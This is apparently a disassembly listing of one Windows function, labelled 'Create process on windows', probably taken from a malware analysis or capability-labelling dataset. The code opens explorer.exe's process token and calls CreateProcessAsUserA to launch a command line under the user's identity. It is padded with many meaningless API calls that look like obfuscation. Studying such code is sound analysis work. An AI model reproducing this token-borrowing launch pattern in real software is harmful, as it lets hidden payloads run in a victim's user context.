Function at 0x10005699
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
push str.explorer.exe
lea eax, [ebp - 0x36c]
xor ebx, ebx
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
lea eax, [ebp - 0x36c]
push eax
call fcn.100058f8
pop ecx
push eax
push ebx
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x100058c9
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100058c0
push 0x10
pop ecx
push ebx
push ebx
xor eax, eax
mov dword [ebp - 0x60], 0x44
lea edi, [ebp - 0x5c]
push ebx
rep stosd dword es:[edi], eax
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push 0x10
lea eax, [ebp - 0x1c]
push ebx
push eax
call fcn.10006910
push 0x44
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.10006910
add esp, 0x18
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push 0x1000754c
push 0x10007548
push 0x10007544
push 0x10007540
push str.a0d
push 0x10007534
push 0x10007530
push 0x1000752c
lea eax, [ebp - 0x164]
push str._s_s_s_s_s_s_s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push ebx
push ebx
lea eax, [ebp - 0x164]
push ebx
mov dword [ebp - 0x58], eax
xor eax, eax
inc eax
push eax
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x60], 0x44
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], 5
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x100058b1
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov byte [ebp - 1], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret